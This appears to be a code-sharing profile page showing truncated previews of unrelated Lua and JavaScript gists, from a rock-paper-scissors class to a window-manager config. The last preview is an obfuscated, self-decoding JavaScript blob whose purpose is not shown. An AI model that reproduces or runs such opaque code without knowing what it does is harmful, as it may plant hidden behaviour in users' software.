This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- for testing | |
function server(url) | |
return function (tbl) | |
print(url) | |
for k,v in pairs(tbl) do | |
print(k,v) | |
end | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function RPS(count) { | |
this.players = count | |
this.score = range(count).map(Const(0)) | |
this.moves = range(count).map(limit(Array,0)) | |
} | |
RPS.prototype.beats = { "rock": "scissors", | |
"paper": "rock", | |
"scissors": "paper" } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function foo(bar) { | |
return bar === baz? 'hello' | |
: bar === quux? 'hey' | |
: /*otherwise*/ 'hi' | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
JS: The Hip Parts. | |
Chapters = | |
[ Comma-First is Comma Right | |
, !function Expressions! | |
, <!--Comments with Style--> | |
, Blow it Out Your Semi-Colon ] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Split colon-separated parts, unescaping (but not splitting on) any \: | |
function split(str) { | |
return str.match(/(?:\\:|[^:])+/g).map(function(part) { | |
return part.replace(/\\:/g, ':') | |
}); | |
} | |
// Eg. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var __objectInheritanceCalculated = []; | |
while((function() | |
{ | |
/* There is a object class that has not been processed */ | |
var __t = 0; | |
for (var m in objectclasses) { __t++; } | |
if (__t <= __objectInheritanceCalculated.length) return false; | |
return true; | |
})()) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//-- Definition | |
Function.prototype.compose = function (/* ...args */) { | |
var args = Array.prototype.slice.call(arguments) | |
, funs = [ this ].concat(args) | |
return function (/* ... */) { | |
return funs.reduceRight(function (args, f) { | |
return [ f.apply(null, args) ] | |
}, arguments)[0] | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function getYPositionNotCrowded() { | |
var maxCount = 1000 | |
, height = 4 | |
, i = 0 | |
, y | |
do { | |
y = nextYPosition() | |
if (++i > maxCount) { throw new Error("No position found!") } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Standard awesome library | |
require("awful") | |
require("awful.autofocus") | |
require("awful.rules") | |
-- Theme handling library | |
require("beautiful") | |
-- Notification library | |
require("naughty") | |
require("vicious") | |
require("menu") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var x="function f(x){var i,o=\"\",ol=x.length,l=ol;while(x.charCodeAt(l/13)!" + | |
"=39){try{x+=x;l+=l;}catch(e){}}for(i=l-1;i>=0;i--){o+=x.charAt(i);}return o" + | |
".substr(0,ol);}f(\")95,\\\"YQ[v|c=tf,9y;:7}1=5;;9%?9'!700\\\\)#**|c430\\\\S" + | |
"W\\\\\\\\Q~230\\\\XQA620\\\\Fa320\\\\FRQ[@Bot\\\\v420\\\\MKRLP300\\\\000\\\\"+ | |
"}Npwi}vhv~y_5f|t1d|ksse,@010\\\\030\\\\730\\\\320\\\\230\\\\200\\\\500\\\\J" + | |
"100\\\\220\\\\\\\\\\\\430\\\\730\\\\410\\\\@610\\\\000\\\\610\\\\630\\\\430" + | |
"\\\\430\\\\610\\\\220\\\\620\\\\n\\\\n\\\\\\\"\\\\610\\\\600\\\\17g3/609:tt" + | |
"\\\\i57#8o/qnc$%-3/73m6/%RK^S_\\\"(f};o nruter};))++y(^)i(tAedoCrahc.x(edoC" + | |
"rahCmorf.gnirtS=+o;721=%y;2=*y))y+95(>i(fi{)++i;l<i;0=i(rof;htgnel.x=l,\\\"" + | |
"\\\"=o,i rav{)y,x(f noitcnuf\")" ; |
NewerOlder